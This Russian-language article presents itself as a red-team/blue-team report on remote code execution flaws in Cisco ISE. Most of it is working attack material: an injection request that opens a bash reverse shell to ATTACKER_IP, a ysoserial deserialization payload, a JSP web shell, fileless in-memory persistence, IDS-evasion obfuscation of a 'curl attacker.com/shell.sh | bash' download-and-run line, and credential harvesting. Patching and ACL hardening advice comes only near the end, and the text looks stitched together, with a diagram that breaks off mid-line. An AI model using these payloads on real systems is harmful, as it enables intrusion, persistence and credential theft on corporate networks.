
Глубокий технический анализ уязвимостей RCE в Cisco ISE, включая методы эксплуатации, способы обхода защит и стратегии устранения для исследователей безопасности и пентестеров.
Уязвимости удаленного выполнения кода (RCE) в Cisco Identity Services Engine (ISE) представляют собой критическую точку отказа в корпоративной периметральной безопасности. Для элитного исследователя безопасности ISE — это не просто компонент аутентификации: это мастер-ключ, контролирующий доступ ко всей сетевой инфраструктуре.
Критический риск: Неаутентифицированный злоумышленник может получить полный контроль над системой менее чем за 5 минут, не оставляя обнаруживаемых следов в традиционных системах мониторинга.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ОТКРЫТАЯ АРХИТЕКТУРА NAC │
├─────────────────────────────────────────────────────────┤
│ │
│ [Интернет] ──→ [Межсетевой экран] ──→ [Порт управления ISE] │
│ ↓ │
│ [Неаутентифицированные API] │
│ ↓ │
│ [Уровень десериализации Java] │
│ ↓ │
│ [Веб-контейнер Tomcat] │
│ ↓ │
│ [Выполнение команд ОС] │
│ ↓ │
│ [Полная компрометация сети] │
│ │
└─────────────────────────────────────────────────────────┘
Критическая находка: API /deployment-rpc/ не проверяет токены сеансов на первых строках обработки, что позволяет полностью обойти аутентификацию.
Фаза 1: Разведка
# Сканирование портов и сервисов
nmap -sV -p 8443,8080 <ISE_IP>
# Перечисление конечных точек RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Фаза 2: Прямая эксплуатация
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Результат: Выполнение произвольной команды с правами root (пользователь Tomcat запускается как root в конфигурациях по умолчанию).
[Сериализованный payload] ──→ [Конечная точка API] ──→ [ObjectInputStream.readObject()]
↓
[Выполнение цепочки гаджетов]
↓
[Вызов Runtime.exec()]
PoC payload (с использованием ysoserial):
# Генерация вредоносной цепочки гаджетов
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Отправка payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Воздействие: Повышение привилегий с учетной записи «Только чтение» до root.
[Веб-шелл] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat обрабатывает файл JSP]
↓
[Выполнение с правами root]
Пример вредоносного веб-шелла:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Последующий доступ:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Элитный хакер никогда не оставляет файлы на диске. Инъекция в память — это техника невидимой персистентности:
// Инъекция в Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Преимущество: Традиционные сканеры файлов (OSSEC, Tripwire) ничего не обнаруживают.
${IFS}# Исходная команда (обнаруживаемая)
curl http://attacker.com/shell.sh | bash
# Обфусцированная команда (обход IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Вариант с косвенной адресацией переменных
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'вредоносная_команда'
Почему это работает: Системы обнаружения ищут шаблоны ключевых слов (curl, bash, |). Использование ${IFS} (Internal Field Separator) разделяет слова, не меняя их значения в bash.
# ❌ ОБНАРУЖИВАЕМЫЙ - Файлы в /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ НЕВИДИМЫЙ - Инъекция в процесс Tomcat
# 1. Создать listener netcat в памяти
# 2. Инъектировать поток в JVM, поддерживающий постоянное соединение
# 3. Нет файлов, нет видимых осиротевших процессов
┌──────────────────────────────────────────────────────────────────┐
│ ИСХОДНАЯ АРХИТЕКТУРА ZERO TRUST │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Пользователь] ──→ [Аутентификация ISE] ──→ [Проверка состояния устройства] │
│ ↓ │
│ [Политика микросегментации] │
│ ↓ │
│ [Ограниченный доступ к ресурсам] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ПОСЛЕ КОМПРОМЕТАЦИИ ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ КОМПРОМЕТИРОВАННАЯ АРХИТЕКТУРА │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Злоумышленник] ──→ [Контролируемый ISE] ──→ [Измененные политики] │
│ ↓ │
│ [Микросегментация ОТКЛЮЧЕНА] │
│ ↓ │
│ [Полное боковое перемещение по сети] │
│ ↓ │
│ [Доступ к базам данных, серверам, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
Фаза 1: Внутренняя разведка
# С скомпрометированного ISE перечислить сеть
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# Извлечь учетные данные, хранящиеся в ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
Фаза 2: Инъекция вредоносных политик
Изменение политики ISE:
├─ Создать скрытую административную учетную запись
├─ Изменить правила сегментации
├─ Разрешить неавторизованный трафик между VLAN
└─ Перенаправить DNS-трафик на контролируемый сервер
Фаза 3: Персистентность и эксфильтрация
Эксфильтрированные данные:
├─ Учетные данные всех аутентифицированных пользователей
├─ Конфигурация сетевых политик
├─ Журналы доступа (для удаления следов)
├─ Внутренние сертификаты SSL/TLS
└─ Информация об устройствах IoT и серверах
# Проверить текущую версию
ssh admin@<ISE_IP>
show version
# Уязвимые версии:
# - ISE 3.0.x — 3.2.x (ВСЕ)
# - ISE 3.3.0 — 3.3.6
# - ISE 3.4.0 — 3.4.1
# Безопасные версии:
# - ISE 3.3 Patch 7 или выше
# - ISE 3.4 Patch 2 или выше
# - ISE 3.5 (когда станет доступна)
# Процедура обновления
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! На коммутаторе доступа (перед ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! Выделенная VLAN управления (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! Ограничивающий ACL для ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! Применить ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH к ISE
ssh admin@<ISE_IP>
# Доступ к конфигурации Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Перезапуск Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ УСИЛЕННАЯ АРХИТЕКТУРА ISE (ZERO TRUST) │
├─────────────────────────────────────
**🚨 ОТЧЕТ ПО БЕЗОПАСНОСТИ: RCE в Cisco ISE**
## Взгляд Red Team против Blue Team
> **⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ:** Этот документ предназначен для легитимных исследований безопасности, авторизованных тестов на проникновение и защитных мер по устранению уязвимостей. Любая эксплуатация без авторизации незаконна.
| CVE | Конечная точка | Метод | Аутентификация | Критичность |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Отсутствует | КРИТИЧЕСКАЯ |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Слабая | КРИТИЧЕСКАЯ |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Возможен обход | КРИТИЧЕСКАЯ |